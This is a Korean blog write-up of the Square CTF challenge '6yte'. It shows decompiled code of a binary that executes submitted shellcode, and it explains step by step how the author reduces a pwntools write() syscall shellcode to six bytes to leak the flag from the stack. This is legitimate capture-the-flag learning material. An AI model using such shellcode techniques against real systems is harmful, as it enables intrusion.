본문 바로가기
시스템 해킹/CTF

[Square CTF] 6yte

by L3m0n S0ju 2021. 9. 4.

Name

6yte - You only get 6 of them

Points

1000 points

Type

Exploit

Description

Our operatives found this site, which appears to control some of the androids’ infrastructure! There are only two problems. The robots love x86 assembly; the only thing easier for them to work with is binary. And they love terse command codes. Even 7 bytes was too many for this one.

[DOCKER]
docker run --rm -p 8080:8080 squarectf/6yte
then visit http://localhost:8080/

[VMware] http://192.168.xxx.xxx:7709

 

 

 

 


void main(int param_1,int param_2)

{
  undefined4 local_a4;
  undefined local_a0 [128];
  code *UNRECOVERED_JUMPTABLE;
  size_t local_1c;
  int local_18;
  uint local_14;
  undefined4 *puStack16;
  
  puStack16 = &param_1;
  local_a4 = 0;
  local_1c = 0;
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  alarm(7);
  if (param_1 != 2) {
    bad_input();
  }
  local_1c = strnlen(*(char **)(param_2 + 4),0xffffffff);
  if ((0xc < local_1c) || ((local_1c & 1) != 0)) {
    bad_input();
  }
  UNRECOVERED_JUMPTABLE = (code *)mmap((void *)0x0,6,7,0x21,-1,0);
  local_18 = 0;
  local_14 = 0;
  while (local_14 < local_1c) {
    __isoc99_sscanf(*(int *)(param_2 + 4) + local_14,&DAT_08048a18,&local_a4);
    UNRECOVERED_JUMPTABLE[local_18] = SUB41(local_a4,0);
    local_18 = local_18 + 1;
    local_14 = local_14 + 2;
  }
  printf("Shellcode location: %p\n",UNRECOVERED_JUMPTABLE);
  printf("Flag location: %p\n",local_a0);
  sleep(1);
  read_flag(local_a0);
                    /* WARNING: Could not recover jumptable at 0x080488e9. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  (*UNRECOVERED_JUMPTABLE)();
  return;
}

 

 

 

 


이전 Bytes 문제와 똑같지만 한가지 다른점은 입력할 수 있는 길이가 12보다 크면 안된다는 조건이 하나 추가되었다. 따라서 6바이트 크기 이하의 쉘코드를 제출하여 플래그를 획득해야한다. Bytes 문제에서 아래 코드를 이용하여 쉽게 플래그를 획득할 수 있었는데 결과는 16바이트 크기이므로 10바이트만큼 크기를 줄여야한다.

 

from pwn import *
context.arch = "i386"

code = b""

code += asm(shellcraft.write(1,"esp",2000))

code.hex()

 

6a015b89e131d266bad0076a0458cd80 

 

 

 

 

 


크기를 조금씩 줄이기 위해 esp에서 읽어들이는 바이트 수는 최대한 작아야한다. 위 그림과 같이 main 함수 esp에서 가장 멀리 떨어진 지역변수는 0xa4(164) 만큼 떨어져있으므로 255단위로 esp를 읽어들여도 충분하다.

 

 

 


>>> print(shellcraft.write(1,"esp",2000))
    /* write(fd=1, buf='esp', n=0x7d0) */
    push 1
    pop ebx
    mov ecx, esp
    xor edx, edx
    mov dx, 0x7d0
    /* call write() */
    push SYS_write /* 4 */
    pop eax
    int 0x80

 

asm 코드를 제거하고 어셈블리어를 출력하면 위와 같다. 코드를 해석하면 ebx에 fd 값인 1을 넣고 ecx에 esp를 넣고 edx에 2000을 넣고 마지막으로 함수 번호에 해당하는 4를 eax에 저장하고 함수를 호출한다.

 

 

 

 


mov dx, 0x7d0에서 최대한 사아즈를 줄이기 위해 레지스터 구조를 파악해야한다.

 

=====================================================

|      0     |     0      |     0      |     0     |     0      |     0      |     0      |     5      |

=====================================================

                                                                             └   DH   ┘└   DL  ┘

                                                                             └───  DX  ───┘

                                                   └───────   EDX   ───────┘

└──────────────        RDX      ───────────────┘

 

 

현재 지역변수는 esp에서 최대 164 떨어져있으므로 DL만 사용해도 255 범위에 포함되기 때문에 충분하다. 따라서 dx를 dl로 교체한다.

 

  /* write(fd=1, buf='esp', n=255) */
    push 1
    pop ebx
    mov ecx, esp
    xor edx, edx
    mov dl, 255
    /* call write() */
    push SYS_write /* 4 */
    pop eax
    int 0x80

 

 

 

 


다음으로 위 그림은 쉘코드의 시작위치인 0x080488e9를 나타내고있다. 우리가 삽입할 xor edx, edx는 dl에 값을 넣기전에 0으로 초기화해주는 명령어이지만 쉘코드 시작 전에 0x080488da를 보면 이미 edx에 0x5를 삽입하는 코드가 있으므로 edx는 쉘코드가 실행될 때 0005 상태이므로 xor edx, edx로 초기화할 필요가 없다. 따라서 명령어를 삭제한다. eax에도 이미 4가 들어있으므로 push SYS_write /* 4 */; pop eax를 삭제한다. push; pop ebx도 ebx에 1이 이미 들어있으므로 삭제한다. 결과는 아래와 같이 3줄만 남게된다.

 

    mov ecx, esp
    mov dl, 255
    int 0x80

 

 

 

 

 


>>> asm("mov ecx,esp; mov dl,255; int 0x80;").hex()
'89e1b2ffcd80'

 

파이썬에 위 코드를 실행하면 결과는 89e1b2ffcd80로 6바이트 크기를 만족한다. 해당 값을 웹사이트에 입력하면 플래그를 획득할 수 있다.

 

 

 

 

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Basic_BOF #2  (0) 2021.09.12
[HackCTF] Basic_BOF #1  (0) 2021.09.10
[Square CTF] Bytes  (0) 2021.09.04
보호기법 정리  (0) 2021.08.20
[Nebula] Level 03  (0) 2021.08.19

댓글